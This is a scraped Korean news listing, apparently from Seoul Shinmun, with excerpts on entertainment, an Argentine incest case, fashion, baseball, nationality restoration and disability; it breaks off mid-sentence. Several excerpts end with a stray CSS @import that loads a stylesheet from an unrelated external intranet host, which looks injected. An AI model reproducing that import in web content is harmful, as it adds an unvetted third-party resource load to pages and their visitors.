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  • ‘철퍼덕 하우스’ 男 줄잇는 미모의 ‘돌싱’ 출연

    ‘철퍼덕 하우스’ 男 줄잇는 미모의 ‘돌싱’ 출연

    미모의 ‘돌아온 싱글녀’인 김주희(25)씨가 화제다.오는 13일 방송될 SBSE!TV ‘철퍼덕 하우스’ 12회 방송분에서는‘당당하게 돌아온 싱글녀-돌싱’이란 주제로 모델 출신 방송인 이파니를 비롯해 일반인 출연자 김주희, 김한나, 한백화가 출연했다.특히 현재 타투리스트로 활동 중인 김주희는 11개월 된 아들을 키우고 있지만 눈부신 미모를 선보여 출연자들을 놀라케 했다.이날 방송에서 김주희는 23살 어린 나이에 결혼했지만 고부간의 갈등과 경제적인 문제로 결혼생활 7개월 만에 남편과 이혼을 결심할 수밖에 없었던 사연을 모두 공개했다.뿐만 아니라 임신 당시 극심한 산후우울증으로 자살까지 결심했었던 안타까운 사연을 고백하며 눈물을 흘렸다는 후문이다.사진 = SBS서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 아버지와 딸 사이 자식 7명 ‘인면수심’ 결국…

    아르헨티나의 ‘성폭행 괴물’이 사망했다. 장장 20년간 친딸을 성폭행해 자식까지 둔 60대 남자가 재판을 앞두고 6일(현지시간)사망했다고 아르헨티나 언론이 보도했다. 아르헨티나 교도소 당국에 따르면 남자는 이날 호흡질환 증상을 보여 병원으로 후송됐으나 숨을 거뒀다. 지난해 딸의 고발로 수갑을 찬 남자는 교도소에 수감돼 재판을 기다려왔다. 올해 만 68세로 아르만도 루세로라는 이름을 가진 이 남자는 ‘멘도사(남자가 살고 있던 아르헨티나의 지방)의 괴물’이라는 흉측한 별명으로 더 알려져 있다. 세상에 경악케 한 충격적 사건이 세상이 알려진 건 지난해 5월이다. 아버지로부터 약 20년 전부터 성폭행을 당해 아버지 사이에 7명의 자식을 둔 36세 큰딸이 사건을 경찰에 고발했다. 당시 딸은 “15살부터 아버지로부터 성폭행을 당했다.”면서 “신고하면 죽이겠다는 위협에 겁이 나 경찰에 알리지 못했지만 (아버지와의 사이에서 태어난) 딸들까지 아버지가 손을 대려 해 경찰에 도움을 청하기로 결심했다.”고 밝혔다. 아버지와 딸 사이에 근친상간으로 태어난 손자손녀 겸 자식은 모두 7명으로 장녀가 20살, 막내가 3살이다. 아르헨티나 사법당국은 남자를 체포한 후 유전자 검사를 통해 그와 손녀 겸 딸 사이의 친자관계를 공식 확인했다. 하지만 남자가 손을 댄 건 큰딸 뿐만 아니었다. 큰딸이 성폭행 사실을 경찰에 고발하자 또다른 딸도 “8살부터 아버지의 성노리개가 됐다.”고 여죄를 고발했다. 재판정에 서기 전 세상을 하직한 그는 첫 부인과 8명, 두 번째 부인과 6명, 큰딸을 성폭행하면서 얻은 7명 등 모두 21명의 자녀를 두었다. 서울신문 나우뉴스 남미통신원 임석훈 juanlimmx@naver.com @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • ‘광부화가들’은…30년대 英 ‘애싱턴 그룹’ 실화를 무대로

    ‘광부화가들’은 올 하반기 최대 기대작으로 꼽히는 뮤지컬 ‘빌리 엘리어트’의 원작자 리 홀의 최신작이다. ‘빌리 엘리어트’가 광산촌 꼬마의 최고 발레리노 등극기라면, ‘광부화가들’은 1930년대부터 1980년대까지 활동한 영국 광부화가들의 모임 ‘애싱턴 그룹’ 실화를 연극으로 만든 것이다. 1934년 영국 북부 탄광촌인 애싱턴에 미술선생 라이언이 도착한다. 그러나 첫 수업부터 악전고투한다. 12~13살때부터 새벽 4~5시에 탄광에 나가 하루 10시간 넘게 구부리고 앉아 석탄을 캐야 했던 광부들이 그림을 알 리 없기 때문이다. 답답해진 라이언선생은 차라리 그림을 직접 그려 보자는 파격 제안을 하고, 광부들은 “그까짓것”하고 받아들인다. ‘노동’, ‘홍수’ 같은 일상적 주제로 그림을 그리면서 이들의 작업은 주목받고 전국적 유명인사가 된다. 미스 서덜랜드 같은 이가 개인적인 후원을 제안하기도 하지만, 이들은 공동작업을 하는 자신들만의 작업방식을 고집한다. 미술과 예술에 대한 깊은 이해에 다다르는 올리버의 성장이 가장 눈부시고, 조금 모자란 듯 단순한 그림을 그려 되레 그림이 가장 잘 팔리는 지미와, 예술은 자본주의적 생산양식의 모순을 폭로해야 한다는 스탈린주의자 해리의 익살이 눈길을 잡는다. 무대에 실버스크린 3대를 설치, 작품 전체를 슬라이드 형식으로 보여주기도 하고 개별 그림에서 부분을 확대해 보여주는 등 그림 자체에 충실하다. 조태성기자 cho1904@seoul.co.kr
  • 내일 뭘 입지? 패션 블로그서 ‘뚝딱’

    내일 뭘 입지? 패션 블로그서 ‘뚝딱’

    패션 광고처럼 화난 여자친구에게 물벼락을 맞지 않았더라도 ‘내일 뭘 입지?’란 고민은 일상이다. 패션잡지의 화보를 들춰봐도 9등신에 이르는 모델이 걸친 옷을 등하교나 출퇴근 길에 입기는 부담스럽다. 현실적이고 만만한 대안은 지하철이나 직장에서 주변 사람들이 입은 옷을 참조하는 것. 특히 청소년들 사이에서 폭발적으로 유행하는 거리 패션은 오히려 디자이너들이 패션쇼 무대에 수용하는 예도 있다. 바람막이 점퍼로 10년 가까이 한국에서 최대 판매량을 기록하고 있는 ‘노스페이스’ 인기도 따지고 보면 출발점은 청소년들의 이유 없는 지지였다. 특정 상표에 열광하는 까닭에 대해 청소년들은 “주변 친구들이 입으니까.”라고 응답해 설문 인터뷰를 했던 패션업체 종사자들을 어이없게 만들기도 했다. 패션과 사진을 사랑하는 스콧 슈만이 운영하는 블로그 사토리얼리스트(www.thesartorialist.com)는 그가 길거리에서 맘에 드는 사람들의 패션을 찍어 올린 것이 시작이었다. 지금은 세계 곳곳에서 2만명 이상이 방문하는 파워 블로그로 성장, 많은 사람이 그의 블로그에서 본 ‘쿨한 스타일’에서 아이디어를 얻어 ‘내일 뭘 입을까’란 고민을 해결한다. 미국 할리우드 스타들의 일상을 찍은 파파라치 사진이 전 세계적으로 인터넷으로 유포되면 이 패션이 바로 다음날 온라인 쇼핑몰에서 판매된다. 이런 경향을 패션업체도 적극적으로 받아들이고 있다. 캐주얼 스포츠 브랜드 EXR는 거리 패션 디자이너와의 협업으로 만든 제품을 판매하는가 하면 모델 원더걸스의 화보를 파파라치가 찍은 듯한 분위기로 연출했다. 커피 마시는 소희, 자동차에서 내리는 유빈, 자전거를 탄 선예 등 미국 뉴욕으로 착각케 하는 서울 압구정동 촬영화보는 원더걸스의 일상생활이다. EXR 홈페이지(www.exrkorea.com)에서는 스타일리스트 한혜연 실장이 ‘옷 잘 섞어 입는 비결’을 원더걸스와 함께 구체적으로 소개한다. 캠브리지코오롱이 22~33살 남성을 겨냥해 지난해 만든 캐주얼 브랜드 ‘커스텀멜로우’는 마케팅 담당자들이 서울 신사동 가로수길이나 홍대거리 등 패션 명소에서 사진촬영을 한다. 멋지게 옷을 입은 거리 스타들을 촬영해 홈페이지(www.customellow.com)에 소개하는 것. 일반인의 패션을 소개하는 커스텀멜로우의 홈페이지는 하루에 4000여명이 찾을 정도로 인기다. 내 친구와 주변 사람들의 패션을 분석하고 따라하는 재미 때문이다. 인기 패션 블로거는 ‘착장샷’이라고 해서 매일 자신이 입은 패션을 찍은 사진을 소개하고, 방문자들과 댓글로 패션에 대한 아이디어를 나눈다. 최근 인기 트위터리안으로 부상한 정용진 신세계그룹 부회장도 트위터에 ‘댄디룩’ 착장샷을 올리며 패션에 대한 생각을 네티즌들과 교환하고 있다. 캠브리지코오롱의 이종훈 브랜드 매니저는 “거리 패셔니스타(fashionista·패션을 이끄는 사람) 사진에 오른 댓글을 보면 소비자가 무엇을 원하는지 알 수 있다.”며 “종종 브랜드 영감도 얻는다.”고 말했다. 윤창수기자 geo@seoul.co.kr
  • [NTN포토] 조윤희·박상원 “우린 23살 차이나는 커플!”

    [NTN포토] 조윤희·박상원 “우린 23살 차이나는 커플!”

    [서울신문NTN 강정화 기자] 29일 오후 서울 여의도 CCMM빌딩에서 열린 MBC 일일드라마 ‘황금물고기’ 제작발표회에 참석한 조윤희 박상원이 포즈를 취하고 있다. 이태곤 조윤희 소유진 박상원 등이 출연하는 ‘황금물고기’는 의붓 남매의 사랑을 소재로 남녀의 운명적이고 피할 수 없는 사랑 이야기를 담아낼 드라마로 5월 3일 첫 방송 된다. 강정화 기자 kjh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 인터넷으로 구애 성공한 미어캣 화제

    “반쪽을 찾습니다.” 인터넷에 자신의 짝을 찾는다는 메시지가 적힌 사이트가 개설됐다. 이 사이트는 혼기가 꽉 찬 노총각·노처녀가 만든 것이 아니다. 놀랍게도 주인은 동그란 눈이 매력 포인트인 동물 미어캣이다. 영국 레스터셔의 트윈레이크스 공원에 사는 암컷 미어캣 릴리는 최근 개설된 사이트에 “나의 취미는 맛난 먹이를 찾고 아늑한 굴을 찾는 것이다. 나이는 3살이며, 민첩하고 호기심 많은 성격”이라고 자신을 소개했다. 릴리의 ‘프로필’을 올린 이는 다름 아닌 이 공원의 사육사들이다. 릴리를 담당하는 샌디와 필은 “짝짓기 시기가 지난데다가, 미어캣은 본래 사교성이 높은 동물이라 반드시 친구가 필요하다.”며 사이트 개설 이유를 밝혔다. 이어 “이왕이면 핸섬하고 엷은 갈색의 털을 가진 젊은 수컷 미어캣이면 좋겠다.”고 희망사항을 드러냈다. 릴리의 사이트가 알려지자, 캠브리지에 사는 수컷 미어캣인 ‘달시’가 데이트를 요청했고, 그 결과 두 미어캣은 사이좋게 사랑을 속삭이는 커플로 거듭났다. 사육사 샌디는 “달시와 릴리는 서로에게 완벽하게 빠져있다.”면서 “하루 빨리 새끼 소식을 들었으면 좋겠다.”고 말했다. 한편 릴리의 짝짓기 사이트에는 캐나다와 이탈리아, 미국 등지에 홀로 사는 미어캣들이 반쪽을 찾을 수 있도록 프로필과 사진 등이 개제돼 있다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • ‘국적회복 차별’ 중국동포 두번 운다

    “한국 사람이 한국 국적 취득한다는 게 이렇게 어려운 줄 알았으면 귀국 안 했어. 집세가 3개월치나 밀렸는데, 사회보장이나 의료보험 혜택은 꿈도 못 꾸고….” 과거 한국인이었던 중국 동포가 다시 한국 국적을 취득하는 과정에서 차별로 인한 생계 불안 등 어려움을 호소하고 있다. ‘국적회복자’ 중 중국동포 비율이 73%에 이르지만, 다른 국적 동포에 견줘 심사에만 1년 이상 더 걸리면서 외국인 신분에 따른 불이익을 받고 있다. 27일 출입국관리사무소에 따르면 중국동포 국적회복은 다른 국적회복에 비해 필요한 서류가 2배 이상 많고, 국내 친척 보증인을 세워야 하는 등 심사가 까다롭다. 경찰서에서 신원 조회 절차도 거쳐야 한다. 서류가 완벽하게 준비돼도 평균 1년4개월, 최장 2년 넘게 걸린다. 미국, 유럽 국가 등 다른 나라 동포 국적 회복이 6개월 정도 걸리는 것과 대조적이다. 특히 1945년 광복 전 한국 국적을 가졌던 중국 동포들은 대부분 60~70대 이상 고령이라 살아 있는 동안 국적을 회복한다는 보장이 없다. 때문에 외국인 신분으로 한국에 살아가야 하는 어려움을 겪고 있다. 체류비용은 물론이고 비자 갱신도 만만치 않은 문제다. 한국인 얼굴, 한국인 말투, 한국에 들어온 지 5년이 넘었지만 이기호(66)씨의 신분증은 여전히 여권이다. 이씨의 할아버지는 독립운동가 이명순씨. 만주에서 북간도국민회를 조직하고 대한민국 임시정부 산하 대한독립군을 창설한 인물이다. 1986년 건국훈장 독립장이 추서되기도 했다. 그러나 이기호씨는 여전히 중국인이다. 지난해 8월 국적회복을 신청했지만 한국에 신원보증을 서 줄 사람이 없다는 이유로 보류 상태다. 김희덕(74)씨도 마찬가지다. 고향인 전남 곡성군 고달면 얘기를 하면서 눈시울을 붉혔다. “그냥 죽기 전에 한국사람 돼 보고 싶었지. 집사람이 하도 한국 가자고 조르기도 했고….” 김씨는 한국에서 태어났지만 3살이 되던 해 중국 지린성으로 건너갔다. 양조장에서 근무하며 힘들게 생계를 이어갔지만 부모한테서 들었던 고향에 대한 생각이 잊혀지지 않아 한국을 찾았다. 고향에 호적기록이 모두 남아 있어 국적회복 신청이 한결 수월했지만 서류준비에만 1년 반이 넘게 걸렸다. 김씨는 현재 중국인 동포 쉼터에서 부인과 함께 생활하고 있다. 출입국관리사무소 관계자는 “한국 국적을 상실한 뒤 40~50년 기간이 지나다 보니 서류 진위여부 등을 판별하는 데 시간이 오래걸릴 수밖에 없다.”고 해명하면서도 “올해부터 각 지방사무소로 심사 업무를 이관해 좀 더 빠르게 처리할 수 있을 것”이라고 말했다. 이민영기자 min@seoul.co.kr
  • 돼지우리에서 사는 13세 소녀 ‘충격’

    돼지우리에서 사는 13세 소녀 ‘충격’

    돼지우리에서 사는 소녀, 이유는… 중국 장샤의 한 마을에는 높이 1m·폭 2m 남짓의 좁은 돼지우리 한 채가 있다. 어둡고 축축해 보이는 이곳은 여느 돼지우리와 다를 바 없어 보인다. 하지만 이 마을에서 이 돼지우리가 사람들의 관심을 끈 이유는 우리 안에 사는 것이 돼지 뿐만은 아니기 때문. 13살 밖에 되지 않은 소녀가 작은 새끼 돼지와 함께 살고 있다는 사실 때문이다. 이 소녀가 돼지우리에서 생활하기 시작한 것은 약 1년여 전부터다. 어렸을 때 유행성 B형간염을 앓고 장애아가 된 딸을 돌볼 여력이 없던 엄마는 고민 끝에 돼지우리를 이용하기로 결심했다. 소녀의 엄마는 “내 딸아이는 지능이 떨어지고 말을 하지 못한다. 이런 아이가 마음대로 집을 나가 이리저리 찾으러 다니는 게 너무 힘들어서 어쩔 수 없이…”라며 눈물을 보였다. 밧줄에 묶인 채 돼지우리에 사는 소녀는 지저분한 옷을 입고 있으며, 피부가 매우 거친 상태다. ‘꿀꿀’거리는 작은 새끼돼지가 한 마리만 그녀의 곁을 지키고 있다. 밖으로 나오려 애를 쓰지만 단단히 묶인 밧줄 때문에 여의치 않자, 소녀는 이내 포기하고 무의미한 표정을 지어 주위를 안타깝게 하고 있다. 아이의 엄마는 “딸애를 치료할 돈이 없다. 비난만 하지 말고 누구든 나서 도움을 주길 바란다.”고 호소했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘80억 CEO’ 정인수, 명품 제치고 최고 브랜드

    ‘80억 CEO’ 정인수, 명품 제치고 최고 브랜드

    ‘80억 CEO’로 불리는 최연소 디자이너 정인수가 명품들을 제치고 최고 브랜드 1위에 올랐다. 사단법인 한국모델협회가 ‘2010 대한민국 모델들이 선정한 최고의 브랜드’라는 주제로 실시한 설문조사에서 정인수 씨가 론칭한 ‘스타일 옴므’가 남성 패션 부문에서 정상을 차지했다. 정인수 디자이너는 올해 23살로 연 매출 80억 원을 기록 승승장구하는 CEO다. 한국모델협회에 등록된 모델 3000명을 조사대상으로 한 이번 조사에서 ‘스타일옴므’는 총 1648표를 획득, 압도적인 표차로 1위를 달성했다. 한국모델협회는 “정인수 디자이너의 ‘스타일 옴므’는 남성 패션 시장 호전기의 시금석이 될 2010년을 맞아 브랜드 가치는 더욱 빛날 것”이라고 설명했다. 정인수 디자이너는 “이번을 계기로 ‘스타일 옴므’가 독보적인 남성의류 브랜드로써 위상을 다시 한 번 확인받게 됐다.”며 “지속적인 품질 개발과 혁신적인 고객 서비스 개발을 통해 고객 만족도를 더욱 높여 브랜드 위상을 확고히 지켜나갈 것”이라고 포부를 밝혔다. 사진 = 스타일 옴므 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 김태균, 리그 5개팀 4번 타자와 성적 비교해보니…

    김태균, 리그 5개팀 4번 타자와 성적 비교해보니…

    지난달 20일 개막한 퍼시픽리그가 한달이 넘었다. 현재까지 1위를 달리고 있는 팀은 김태균이 소속된 치바 롯데 마린스(16승1무 7패). 예상 외로 초반 돌풍을 이어가고 있는 치바 롯데는 그러나 당초 강력한 우승 후보로 지목됐던 세이부의 거센 추격을 받고 있다. 한때 하위권에 쳐져 있던 세이부가 어느새 선두와 한경기 반차이(15승 9패)까지 추격해온 상황. 김태균 입장에서는 이제부터가 중요해졌다. 단타는 꾸준히 쳐주고 있지만 4번타자의 기본덕목이라고 할수 있는 홈런은 겨우 2개에 장타율은 .376에 불과하다. 팀이 잘나가고 있는 상황이기에 이러한 부분이 집중적으로 부각되지는 않고 있지만 지금과 같은 상황이 이어진다면 김태균에 대한 질타가 본격적으로 시작될 가능성도 배제할 수 없다. 3할 타자 5명을 보유한 치바 롯데라지만 타격은 사이클이 있기 때문에 때가 되면 4번타자의 임무가 막중해지는 시기가 분명히 찾아온다. 치바 롯데가 김태균을 영입한 것은 ‘안타’ 보다는 ‘장타’였고, 정교한 테이블 세터진을 감안할때 찬스에서 쓸어담는 클러치 능력에 대한 기대가 컸다. 하지만 김태균은 이러한 부분에 있어서 아직 기대에 미치지 못하고 있다. 현재까지(20일) 성적은 타율 .280(93타수 26안타) 출루율 .360, 15타점에 불과하다. 무엇보다 아쉬운 점은 .206에 그치고 있는 그의 득점권 타율이다. 23타점으로 이부문 1위를 달리고 있는 소프트뱅크의 호세 오티즈에 비해 적은 타점은 아니지만 치바 롯데 타선이 차려준 진수성찬을 감안할 때는 매우 부족한 편이다. 그럼 현재까지 리그 5개팀의 4번타자들과 비교했을때 김태균의 활약은 어느정도일까? 코쿠보 히로키(소프트뱅크 호크스 4번타자) 만 39살의 베테랑 타자 코쿠보는 지난해의 부진(타율 .266 홈런 18개)에서 완전히 벗어났다. 나이가 많아 하락세가 온 것이 아니냐는 일말의 불안감이 있었던 코쿠보는 그러나 시즌이 시작하자 연일 맹타를 휘두르며 1루 자리를 굳건히 하고 있다. 홈런은 2개 그치고 있지만 타율 .320(9위), 20타점(2위)은 매우 준수하며 특히 .448의 득점권 타율은 팀 승리의 도화선으로 작용하고 있다. 뒤에 포진한 오티즈가 타점 1위를 달리고 있는 것도 코쿠보의 활약 때문이라 해도 과언이 아니다. 타카하시 신지(니혼햄 파이터스 4번타자) 타카하시는 리그 4번타자들 중 유일하게 홈런이 없다. 이 선수는 장타력보다는 매우 정교한 타격솜씨를 지닌 타자로 유명하다. 지난해 극심한 투고타저속에 .309의 타율을 기록했지만 홈런은 8개에 불과했다. 뒤에 포진한 터멀 슬랫지가 27개의 홈런(리그 3위)으로 그를 서포터했지만 올해 슬랫지가 요코하마로 이적하는 바람에 팀 장타력 부재가 심각한 상황이다. 타카하시는 타율 .241, 11타점에 득점권 타율은 .290 이다. 알렉스 카브레라(오릭스 버팔로스 4번타자) 일본프로야구 한시즌 최다홈런 기록(55개)을 가지고 있는 카브레라는 지난해 부상으로 팀 전력에서 이탈했던 것을 만회라도 하듯 초반부터 무섭게 몰아치고 있다. 현재 타율(.405)과 홈런(8개)부문 1위에 올라와 있다. .797의 장타율이 말해주듯 공포감이 대단하다. 하지만 그를 제외하고 3할 타율을 기록하고 있는 선수가 없는 팀 현실때문에 타점은 16점에 불과하다. 최근 등 부상으로 경기에 나서지 못하고 있는 그를 대신해 외국인 내야수 그렉 라로카가 4번자리를 맡고 있다. 야마사키 타케시(라쿠텐 골든이글스 4번타자) 현재 라쿠텐이 하위권에 처져 있는 것은 야마사키 때문이라 해도 과언이 아니다. 지난해 리그 홈런2위(39개)를 기록한 야마사키는 우리나이로 43살의 베테랑 타자. 하지만 타율 .200(95타수 19안타)에 홈런은 3개에 불과하다. .171의 득점권 타율이 말해주듯 수많은 찬스를 무산시킨 야마사키는 15타점을 올리고 있다. 하지만 무더워 지면 폭발하는 관록의 야마사키가 계속해서 부진할거란 예상은 거의 없다. 일본프로야구 최고령 홈런왕에 도전장을 던진 야마사키의 부진이 계속된다면 올시즌 라쿠텐 성적도 기대하기 힘들다. 나카무라 타케야(세이부 라이온스 4번타자) 시범경기 때 입은 안와골절상에도 불구하고 개막전부터 뛰었던 나카무라는 실전경기 감각의 부족이 가장 큰 걱정거리였다. 예상대로 극심한 부진을 보였던 나카무라는 그러나 최근 들어 본연의 타격감각을 회복하고 있는 중이다. 무기력하게 삼진수만 늘려가던 나카무라는 홈런을 몰아치며 어느새 리그 4위(5개)까지 올라온 상태다. 지난해와 마찬가지로 변함없는 삼진왕 페이스(31개)지만 걸리면 넘어가는 무시무시한 괴력이 다시 되살아나고 있는 것. 3년연속 홈런왕에 도전하고 있는 나카무라의 홈런은 경기를 치를수록 더욱 늘어날 전망이다. 세이부가 최근의 상승세를 이어가고 있는것도 원래의 모습으로 돌아온 나카무라의 역할이 컸다. 아직 시즌 초반이긴 하지만 타팀의 4번타자들과 비교해 김태균의 성적이 썩 나쁜편은 아니다. 야마사키와 타카하시보다 김태균의 성적이 훨씬 좋고 일본에서의 첫시즌이란 점까지 감안하면 앞으로 보여줄 것이 더 많기 때문이다. 그럴리는 없겠지만 혹여 김태균이 4번타순에 대한 부담감이 있다면 타순변화도 시도해 봤으면 싶다. 하지만 니시무라 감독 역시 올해가 감독으로서 첫시즌이기에 그의 성향을 파악하기가 쉽지가 않다. 한달이란 적응시간을 보낸 김태균이 앞으로 보여줄 것은 찬스에서 더욱 폭발하는 모습, 그리고 홈런이다. 서울신문 나우뉴스 해외야구통신원 윤석구 http://hitting.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 자폐아 형·동생에 가려 박탈감·중압감 정서장애… ‘중원이’ 아픔 아시나요

    자폐아 형·동생에 가려 박탈감·중압감 정서장애… ‘중원이’ 아픔 아시나요

    “어쩌다 말이라도 더듬으면 친구들이 놀려요. 너도 형처럼 자폐아냐고. 그때마다 속이 많이 상하지만 아직 엄마에게 그런 걸 말한 적은 한 번도 없어요.” 서울 가락동 S초등학교 4학년 고성주(11·가명)군에게는 발달장애인인 중학생 형(13)이 있다. 이를테면 영화 ‘말아톤’의 자폐아 주인공 ‘초원이’의 동생인 ‘중원이’인 셈이다. 형은 틈만 나면 성주의 학용품이나 욕실용품 등을 망가뜨리거나 고장내 놓는다. 그런가 하면 성주를 꼬집는 등 이상한 행동을 하기도 한다. 하지만 성주는 그런 형과 늘 한 방에서 자며 생활한다. 혹시라도 모를 사고를 막기 위해 형을 돌봐야 하기 때문이다. 형이 수면장애를 가져 성주는 늘 밤 11시가 훨씬 넘어서야 눈을 붙인다. 두 달 전에는 학원에 다녀와 보니 형이 없어져 온 집안이 발칵 뒤집혔다. 다행히 지하주차장에서 형을 찾았지만, 그때 형을 끌어안고 펑펑 울던 엄마의 모습을 성주는 잊을 수 없다. ●손위·터울 많을수록 더 부정적 발달장애인에 대한 사회적 관심이 높아지는 가운데 현실 속 ‘중원이’들의 정신 문제에도 체계적인 지원과 관심이 필요하다는 지적이 제기되고 있다. 전문가들은 ‘관심의 사각지대’에 놓인 이들 발달장애인 형제가 또래 아이들에게서는 찾을 수 없는 박탈감과 부담감을 느끼기 쉽다고 지적한다. ‘자폐아동의 형제관계 및 형제·자매들의 심리적 기능에 관한 연구’에 따르면 자폐아를 동생으로 두었을 때, 터울이 3살 이상일 때 정상인 형제가 자신의 형제관계를 더 부정적으로 지각하는 것으로 나타났다. 또 다른 연구에서는 자폐아 형제가 다양한 우울 현상 중에서도 ▲쾌감 결여 ▲자아 존중감 저하 ▲대인 문제 등에서 정상인 형제보다 훨씬 더 심각한 것으로 나타나기도 했다. 미래에 대한 책임감 등에서 조숙함을 보이는 것도 이들의 특징이다. 성주도 “함께 축구도 못하는 형이 싫지만 나중에 부모님이 돌아가시고 나면 어떻게 살지 걱정이 앞서 안타깝기만 하다.”면서 “나는 내 가족과 함께 형까지 책임져야 하는 운명”이라고 11살답지 않은 조숙한 생각을 털어놓기도 했다. 이런 조숙함도 심리적 스트레스가 만든 일종의 비정상적인 현상이다. 전문가들은 “성주의 이런 모습과 태도가 또래에 맞는 건강한 정신 발달상황은 아니다.”라고 지적했다. ●가족단위 통합지원 절실 이들 전문가들은 “발달장애인과 정상인 형제를 아우르는 통합교육이 절실하다.”고 지적했다. 신현기 단국대 특수교육과 교수는 “발달장애 형제의 특수교육 현장에 함께 데려가 자신과 같은 가족이 많다는 사실을 확인시키는 것도 중요하다.”면서 “자폐아 형제의 앞날을 위해 부모가 어떤 준비를 하고 있는지 등을 구체적으로 설명하는 등 가족이 함께 책임지고 있음을 알게 해 심리적으로 안정감을 갖도록 해줘야 한다.”고 조언했다. 장기적이고 체계적인 정책을 주문하는 목소리도 높다. 김명실 한국제나가족지원센터 소장은 “자폐아 문제는 자폐아 본인뿐만 아니라 궁극적으로는 해당 가정 전체에 초점을 맞춰 정책을 만들고 지원체계를 정비해야 한다.”면서 “특히 장애인 개인이 아닌 가족 단위의 정서적 변화를 이끌어 낼 수 있는 인내심 있는 정책이 무엇보다 중요하다.”고 강조했다. 안석기자 ccto@seoul.co.kr
  • 클린턴 “나와 힐러리, 대법관 되기엔 나이 많아”

    빌 클린턴 전 미국 대통령은 18일 ABC방송의 대담 프로그램 ‘디스 위크’에 출연해 존 폴 스티븐슨 대법관 사임에 따른 후임 대법관 인선문제와 관련, 자신과 부인 힐러리 국무장관은 만약 지명을 받는다고 하더라도 수락할 가능성은 없다고 말했다. 올해 63살인 클린턴 전 대통령은 전통적으로 경험이 많은 판사를 대법관에 기용해온 관행을 뛰어넘을 것을 오바마 대통령에게 주문하면서 “나와 힐러리는 대법관을 하기에는 너무 늙었기 때문에 오바마 대통령이 직업에 대한 에너지를 지닌 40대 혹은 50대 초반의 인물을 대법관에 지명하길 기대한다.”고 밝혔다. 또 한 살 아래인 부인 힐러리 장관에 대해 “그녀가 대법관 제의를 받는다면 오바마 대통령에게 ‘나보다 10~15년 젊은 사람을 알아보라.’고 조언할 것으로 생각한다.”고 내다봤다. 클린턴 전 대통령은 오는 11월 중간선거와 관련, “공화당이 몇 석을 더 얻는 것은 가능할지 모르지만, 상·하원 가운데 한 군데서도 승리할 수 없을 것”이라고 밝혔다. 한마디로 공화당은 어느 쪽에서도 다수당을 차지하지 못할 것이라는 관측이다. 신진호기자 sayho@seoul.co.kr
  • “나처럼 아픈 친구들에게 힘 되고 싶어”

    “저처럼 몸이 아픈 어린 친구들에게 조금이나마 힘이 되고 싶습니다.” 경기도 동두천시에서 약국을 운영 중인 윤영삼(61)씨는 올해로 10년째 지역 내에 있는 저소득 장애인 가정의 자녀들에게 매년 200여만원의 장학금을 지원하고 있다. 그는 지체장애 3급 장애인이다. 윤씨는 19일 “하루에 6000원씩 1년간 모으면 200만원이다. 그리 많은 금액은 아니지만, 열심히 살라고 격려하는 의미에서 장학금을 주고 있다.”고 말했다. 그는 올해 장애인의 날(20일)에도 이렇게 모은 돈을 지역 내 장애인 가정 아동 20명에게 전달할 계획이다. 윤씨는 3살 무렵 밖에서 놀다가 다리를 다친 이후 불구가 됐다. 그 당시에는 휠체어가 없어 힘이 없는 다리로 걷기 위해 손을 무릎에 짚고 절뚝거리며 다녀야 했다. 초등학교 시절 6년 동안 아버지께서 하루도 빠짐없이 자전거로 통학시켜 주셨다고 회상했다. 지금까지 서너 차례의 수술을 받아 절뚝거리는 정도가 한결 나아졌다. 하지만 여전히 오른쪽 다리가 왼쪽다리보다 8㎝가 짧지만 장애인용 보조 신발을 신으면 걷는데는 큰 불편이 없다. 윤씨는 “나는 스스로를 성공한 사람이라고 생각하지는 않지만, 장애를 갖고도 남들에게 부끄럽지 않게 떳떳하게 살고 있다. 아이들도 그렇게 밝은 모습으로 희망을 품고 살아갔으면 좋겠다.”라고 바랐다. 윤상돈기자 yoonsang@seoul.co.kr
  • [영화리뷰] ‘데저트 플라워’ 阿모델 인생역전과 할례 고발

    와리스 디리(리야 케베데)는 아프리카 북동쪽 소말리아의 한 사막에 살고 있는 가난한 유목민의 딸이다. 열세 살 되던 해에 아버지가 돈을 받고 한 노인의 넷째 부인으로 시집보내려 하자, 집을 뛰쳐나온다. 말로만 들었던 외할머니를 찾아 사막을 건너 모가디슈로 간 그녀는 우여곡절 끝에 이모가 있는 영국 런던 주재 소말리아 대사관에서 가정부로 일하게 된다. 내전 때문에 송환 위기에 처하자 다시 도망친 그녀는 불법체류자에 노숙자 신세가 된다. 우연히 무용수 지망생인 마릴린(샐리 호킨스)을 만나 친구가 되고 도움을 받는다. 마릴린에게 영어도 배우고 햄버거 가게에서 일하던 중에 유명 사진작가 테리 도널드슨(티머시 스펄)의 눈에 띄어 패션 모델로 성공가도를 걷게 된다. 여기까지만 본다면 아프리카 소녀가 ‘런웨이’(Runway·패션쇼 무대)의 여왕으로 다시 태어나는 신데렐라 이야기로 요약할 수 있겠다. 영화는 유머를 섞어가며 경쾌한 리듬으로 와리스를 따라간다. 그래서 관객들은 와리스가 마릴린에게 털어놓은 비밀을 종종 놓치게 된다. 하지만 신데렐라 식의 성공담은 영화가 이야기하려는 의도도, 현실 속의 와리스가 원하는 것도 아니다. 막바지에 영화가 담고 있는 메시지가 분명해지는 순간, 관객들은 다소 당황할 수 있다. 인생역전 영화가 고발 영화로 바뀌기 때문이다. 세계적으로 유명한 잡지의 인터뷰어가 와리스에게 인생이 바뀐 그날에 대해 말해 달라며 햄버거 가게 이야기를 꺼낸다. 하지만 와리스는 그날 인생이 바뀐 게 아니라며 톱모델이 된 유목민 식의 이야기는 사양한다고 선을 긋는다. 와리스는 3살 때 할례를 받았던 날 인생이 달라졌다고 돌이키고, 관객들은 충격적인 회상 장면을 목도하게 된다. 이어 와리스가 미국 뉴욕의 유엔 본부에서 아프리카, 특히 이슬람 여성들이 수천 년 동안 전통이라는 명분 아래 짊어져야 했던 고통에 대해 고발하는 모습이 이어진다. 전 세계적으로 1억 